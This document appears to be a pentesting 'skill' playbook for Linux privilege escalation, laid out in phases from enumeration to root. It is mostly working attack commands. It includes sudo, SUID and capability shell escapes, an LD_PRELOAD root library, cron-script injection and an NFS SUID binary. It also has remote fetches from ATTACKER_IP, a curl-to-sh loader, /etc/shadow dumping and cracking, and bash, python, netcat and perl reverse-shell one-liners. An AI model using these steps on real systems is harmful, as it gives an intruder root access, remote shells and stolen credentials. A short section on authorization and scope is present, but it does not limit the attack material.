Linux Privilege Escalation

Linux Privilege Escalation

Purpose

Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This skill enables comprehensive enumeration and exploitation of kernel vulnerabilities, sudo misconfigurations, SUID binaries, cron jobs, capabilities, PATH hijacking, and NFS weaknesses.

Inputs / Prerequisites

Required Access

• Low-privilege shell access to target Linux system
• Ability to execute commands (interactive or semi-interactive shell)
• Network access for reverse shell connections (if needed)
• Attacker machine for payload hosting and receiving shells

Technical Requirements

• Understanding of Linux filesystem permissions and ownership
• Familiarity with common Linux utilities and scripting
• Knowledge of kernel versions and associated vulnerabilities
• Basic understanding of compilation (gcc) for custom exploits

Recommended Tools

• LinPEAS, LinEnum, or Linux Smart Enumeration scripts
• Linux Exploit Suggester (LES)
• GTFOBins reference for binary exploitation
• John the Ripper or Hashcat for password cracking
• Netcat or similar for reverse shells

Outputs / Deliverables

Primary Outputs

• Root shell access on target system
• Privilege escalation path documentation
• System enumeration findings report
• Recommendations for remediation

Evidence Artifacts

• Screenshots of successful privilege escalation
• Command output logs demonstrating root access
• Identified vulnerability details
• Exploited configuration files

Core Workflow

Phase 1: System Enumeration

Basic System Information

Gather fundamental system details for vulnerability research:

# Hostname and system role
hostname

# Kernel version and architecture
uname -a

# Detailed kernel information
cat /proc/version

# Operating system details
cat /etc/issue
cat /etc/*-release

# Architecture
arch

User and Permission Enumeration

# Current user context
whoami
id

# Users with login shells
cat /etc/passwd | grep -v nologin | grep -v false

# Users with home directories
cat /etc/passwd | grep home

# Group memberships
groups

# Other logged-in users
w
who

Network Information

# Network interfaces
ifconfig
ip addr

# Routing table
ip route

# Active connections
netstat -antup
ss -tulpn

# Listening services
netstat -l

Process and Service Enumeration

# All running processes
ps aux
ps -ef

# Process tree view
ps axjf

# Services running as root
ps aux | grep root

Environment Variables

# Full environment
env

# PATH variable (for hijacking)
echo $PATH

Phase 2: Automated Enumeration

Deploy automated scripts for comprehensive enumeration:

# LinPEAS
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# LinEnum
./LinEnum.sh -t

# Linux Smart Enumeration
./lse.sh -l 1

# Linux Exploit Suggester
./les.sh

Transfer scripts to target system:

# On attacker machine
python3 -m http.server 8000

# On target machine
wget http://ATTACKER_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Phase 3: Kernel Exploits

Identify Kernel Version

uname -r
cat /proc/version

Search for Exploits

# Use Linux Exploit Suggester
./linux-exploit-suggester.sh

# Manual search on exploit-db
searchsploit linux kernel [version]

Common Kernel Exploits

Compile and Execute

# Transfer exploit source
wget http://ATTACKER_IP/exploit.c

# Compile on target
gcc exploit.c -o exploit

# Execute
./exploit

Phase 4: Sudo Exploitation

Enumerate Sudo Privileges

sudo -l

GTFOBins Sudo Exploitation

Reference https://gtfobins.github.io for exploitation commands:

# Example: vim with sudo
sudo vim -c ':!/bin/bash'

# Example: find with sudo
sudo find . -exec /bin/sh \; -quit

# Example: awk with sudo
sudo awk 'BEGIN {system("/bin/bash")}'

# Example: python with sudo
sudo python -c 'import os; os.system("/bin/bash")'

# Example: less with sudo
sudo less /etc/passwd
!/bin/bash

LD_PRELOAD Exploitation

When env_keep includes LD_PRELOAD:

// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

# Compile shared library
gcc -fPIC -shared -o shell.so shell.c -nostartfiles

# Execute with sudo
sudo LD_PRELOAD=/tmp/shell.so find

Phase 5: SUID Binary Exploitation

Find SUID Binaries

find / -type f -perm -04000 -ls 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

Exploit SUID Binaries

Reference GTFOBins for SUID exploitation:

# Example: base64 for file reading
LFILE=/etc/shadow
base64 "$LFILE" | base64 -d

# Example: cp for file writing
cp /bin/bash /tmp/bash
chmod +s /tmp/bash
/tmp/bash -p

# Example: find with SUID
find . -exec /bin/sh -p \; -quit

Password Cracking via SUID

# Read shadow file (if base64 has SUID)
base64 /etc/shadow | base64 -d > shadow.txt
base64 /etc/passwd | base64 -d > passwd.txt

# On attacker machine
unshadow passwd.txt shadow.txt > hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Add User to passwd (if nano/vim has SUID)

# Generate password hash
openssl passwd -1 -salt new newpassword

# Add to /etc/passwd (using SUID editor)
newuser:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash

Phase 6: Capabilities Exploitation

Enumerate Capabilities

getcap -r / 2>/dev/null

Exploit Capabilities

# Example: python with cap_setuid
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# Example: vim with cap_setuid
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'

# Example: perl with cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

Phase 7: Cron Job Exploitation

Enumerate Cron Jobs

# System crontab
cat /etc/crontab

# User crontabs
ls -la /var/spool/cron/crontabs/

# Cron directories
ls -la /etc/cron.*

# Systemd timers
systemctl list-timers

Exploit Writable Cron Scripts

# Identify cron job script
cat /etc/crontab
# Shows: * * * * * root /opt/backup.sh

# Check permissions
ls -la /opt/backup.sh
# If writable, inject reverse shell

# Modify script
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh

# Start listener on attacker
nc -lvnp 4444

Exploit Missing Cron Scripts

# If cron references non-existent script
# And PATH in crontab includes writable directory

# Create malicious script in PATH location
echo '#!/bin/bash' > /home/user/antivirus.sh
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /home/user/antivirus.sh
chmod +x /home/user/antivirus.sh

Phase 8: PATH Hijacking

Identify PATH Vulnerabilities

# Current PATH
echo $PATH

# Find writable directories
find / -writable -type d 2>/dev/null

# Check if writable directories are in PATH

Exploit PATH Hijacking

# Find SUID binary calling external command
strings /usr/local/bin/suid-binary
# Shows: system("service apache2 start")

# Add writable directory to PATH
export PATH=/tmp:$PATH

# Create malicious binary
echo '#!/bin/bash' > /tmp/service
echo '/bin/bash -p' >> /tmp/service
chmod +x /tmp/service

# Execute SUID binary
/usr/local/bin/suid-binary

Phase 9: NFS Exploitation

Enumerate NFS Shares

# On target
cat /etc/exports

# Look for no_root_squash option

Exploit no_root_squash

# On attacker - show mountable shares
showmount -e TARGET_IP

# Mount share
mkdir /tmp/nfs
mount -o rw TARGET_IP:/share /tmp/nfs

# Create SUID binary as root
cat > /tmp/nfs/shell.c << EOF
#include <unistd.h>
int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}
EOF

gcc /tmp/nfs/shell.c -o /tmp/nfs/shell
chmod +s /tmp/nfs/shell

# On target - execute SUID binary
/share/shell

Quick Reference

Enumeration Commands Summary

Reverse Shell One-Liners

# Bash
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# Python
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# Netcat
nc -e /bin/bash ATTACKER_IP 4444

# Perl
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'

Key Resources

• GTFOBins: https://gtfobins.github.io
• LinPEAS: https://github.com/carlospolop/PEASS-ng
• Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester

Constraints and Guardrails

Operational Boundaries

• Verify kernel exploits in test environment before production use
• Failed kernel exploits may crash the system
• Document all changes made during privilege escalation
• Maintain access persistence only as authorized

Technical Limitations

• Modern kernels may have exploit mitigations (ASLR, SMEP, SMAP)
• AppArmor/SELinux may restrict exploitation techniques
• Container environments limit kernel-level exploits
• Hardened systems may have restricted sudo configurations

Legal and Ethical Requirements

• Written authorization required before testing
• Stay within defined scope boundaries
• Report critical findings immediately
• Do not access data beyond scope requirements

Examples

Example 1: Sudo to Root via find

Scenario: User has sudo rights for find command

$ sudo -l
User user may run the following commands:
    (root) NOPASSWD: /usr/bin/find

$ sudo find . -exec /bin/bash \; -quit
# id
uid=0(root) gid=0(root) groups=0(root)

Example 2: SUID base64 for Shadow Access

Scenario: base64 binary has SUID bit set

$ find / -perm -u=s -type f 2>/dev/null | grep base64
/usr/bin/base64

$ base64 /etc/shadow | base64 -d
root:$6$xyz...:18000:0:99999:7:::

# Crack offline with john
$ john --wordlist=rockyou.txt shadow.txt

Example 3: Cron Job Script Hijacking

Scenario: Root cron job executes writable script

$ cat /etc/crontab
* * * * * root /opt/scripts/backup.sh

$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh

$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh

# Wait 1 minute
$ /tmp/bash -p
# id
uid=1000(user) gid=1000(user) euid=0(root)

Troubleshooting

Exploit Compilation Fails

• Check for gcc availability: which gcc
• Try compiling on attacker machine for same architecture
• Use static compilation: gcc -static exploit.c -o exploit

Reverse Shell Not Connecting

• Verify firewall rules on both systems
• Try different ports (443, 80 often allowed)
• Use staged payloads if direct connection fails
• Check if egress filtering is in place

SUID Binary Not Exploitable

• Verify exact binary version matches GTFOBins entry
• Check for AppArmor/SELinux restrictions
• Some binaries drop privileges when detecting SUID

Cron Job Not Executing

• Verify cron service is running: service cron status
• Check script has executable permissions
• Verify correct PATH is set in crontab
• Monitor with: tail -f /var/log/syslog | grep CRON